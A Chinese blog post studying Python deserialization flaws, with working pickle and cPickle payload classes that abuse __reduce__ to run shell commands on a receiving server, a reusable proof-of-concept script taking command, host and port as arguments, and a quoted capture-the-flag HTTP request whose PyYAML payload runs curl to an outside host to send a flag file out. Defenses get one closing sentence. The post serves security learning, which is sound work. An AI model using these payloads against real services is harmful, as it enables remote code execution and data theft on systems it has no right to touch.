zoukankan      html  css  js  c++  java
  • python反序列化研究学习

    零、补充:

    补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。

    测试代码:

     1 #client.py
     2 import os
     3 import sys
     4 import base64
     5 import socket
     6 import cPickle
     7 
     8 #定义payload类型
     9 class payload(object):
    10     def __init__(self,command):
    11         self.__command = command
    12     def __reduce__(self):
    13         return (os.system,((self.__command),))
    14 
    15 #定义全局socket对象
    16 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    17 
    18 #定义主函数,生成payload对象
    19 if __name__ == "__main__":
    20     #cmd = sys.argv[1]
    21     #rip = sys.argv[2]
    22     #pot = sys.argv[3]
    23     cmd = "whoami"
    24     rip = "127.0.0.1"
    25     pot = 5222
    26     payload_object = payload(cmd)
    27     send_object = cPickle.dumps(payload_object)
    28     sock.connect((rip,int(pot)))
    29     send_object = base64.b64encode(send_object)
    30     sock.send(send_object)
    31 
    32 #server.py
    33 # -*- coding:utf-8 -*-
    34 import socket
    35 import os
    36 import cPickle
    37 import base64
    38 
    39 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    40 sock.bind(("127.0.0.1",5222))
    41 sock.listen(5)
    42 con,addr = sock.accept()
    43 ret = con.recv(1024)
    44 ret = base64.b64decode(ret)
    45 m = cPickle.loads(ret)

    果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。

    一、python的反序列化漏洞:

    一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:

    举例说明:

      client传送一个类对象序列化过去给server,server反序列化这个类对象。

    client.py

     1 #serail.py
     2 # -*- coding:utf-8 -*-
     3 import os
     4 import socket
     5 import cPickle
     6 
     7 class Vuln(object):
     8     name = 1
     9     def __reduce__(self):
    10         return (os.system,(('id'),))
    11 
    12 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    13 sock.connect(("127.0.0.1",5222))
    14 m = Vuln()
    15 ret = cPickle.dumps(m)
    16 sock.send(ret)
    17 sock.close()

    server.py

     1 #server.py
     2 # -*- coding:utf-8 -*-
     3 import socket
     4 import os
     5 import cPickle
     6 
     7 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     8 sock.bind(("127.0.0.1",5222))
     9 sock.listen(5)
    10 con,addr = sock.accept()
    11 ret = con.recv(1024)
    12 m = cPickle.loads(ret)

    测试效果:

    类似于cPickle和pickle的这种适合打一些TCP连接的:

    这里写一个脚本作为一般poc

     1 # -*- coding:utf-8 -*-
     2 """
     3 这个脚本用来生成payload,并进行打击
     4 作者:陈然
     5 公司:360企业安全
     6 """
     7 #引入依赖包文件
     8 import os
     9 import sys
    10 import socket
    11 import cPickle
    12 
    13 #定义payload类型
    14 class payload(object):
    15     def __init__(self,command):
    16         self.__command = command
    17     def __reduce__(self):
    18         return (os.system,((self.__command),))
    19 
    20 #定义全局socket对象
    21 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    22 
    23 #定义主函数,生成payload对象
    24 if __name__ == "__main__":
    25     cmd = sys.argv[1]
    26     rip = sys.argv[2]
    27     pot = sys.argv[3]
    28     payload_object = payload(cmd)
    29     send_object = cPickle.dumps(payload_object)
    30     sock.connect((rip,int(pot)))
    31     sock.send(send_object)

    二、HTTP中的python反序列化漏洞--PyYAML

    1、这里要注意,对站点相关开发有要求:

    (1)使用PyYAML这个库

    (2)使用了yaml.load函数而不是yaml.safe_load函数

    2、好了,来看函数吧:

    (1):

    我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!

    (2)这个tag的解析在yaml库的constructor.py文件中:

     然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:

    跳转过去看下,这个地方有cls函数

    而这里的cls函数取自find_python_name这个函数的返回值:

    这个函数返回值是getattr的返回值

    我们来做一个实验:

     1 import os
     2 
     3 class A(object):
     4     name = 1
     5     def __reduce__(self):
     6         os.system("whoami")
     7 
     8 a = A()
     9 func = getattr(a,"__reduce__")
    10 print "func:",func
    11 func()

    实验结果:

    这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。

    3、攻击场景:

    这种场景有可能在HTTP协议中见到:

    看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800

     1 '''
     2 POST / HTTP/1.1
     3 Host: ganon.39586ebba722e94b.ctf.land:8001
     4 User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
     5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     6 Accept-Language: en-US,en;q=0.5
     7 Accept-Encoding: gzip, deflate
     8 DNT: 1
     9 Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
    10 Connection: close
    11 Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
    12 Content-Length: 438
    13  
    14 -----------------------------200783363553063815533894329
    15 Content-Disposition: form-data; name="file"; filename="test.yaml"
    16 Content-Type: application/x-yaml
    17  
    18 ---
    19 "goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
    20  
    21 -----------------------------200783363553063815533894329
    22 Content-Disposition: form-data; name="upload"
    23  
    24  
    25 -----------------------------200783363553063815533894329--
    26  
    27  
    28 </div>
    29  
    30   <div class="container main" >
    31     <div>
    32         <div class="col-md-12 main">
    33            
    34   <ul><li><code>goodbye</code> : <code>0</code></li></ul>
    35            
    36         </div>
    37     </div>
    38   </div>
    39 '''

    很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

    好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。

  • 相关阅读:
    Java原生网络编程
    网络协议
    SQL优化
    执行计划
    UDP client,UDP server, TCP server, TCP client
    Java使用TCP聊天程序
    Java使用UDP聊天程序
    First Bad Version
    对SNMP4J的一些封装
    Eclipse swt开发环境搭建
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8424630.html
Copyright © 2011-2022 走看看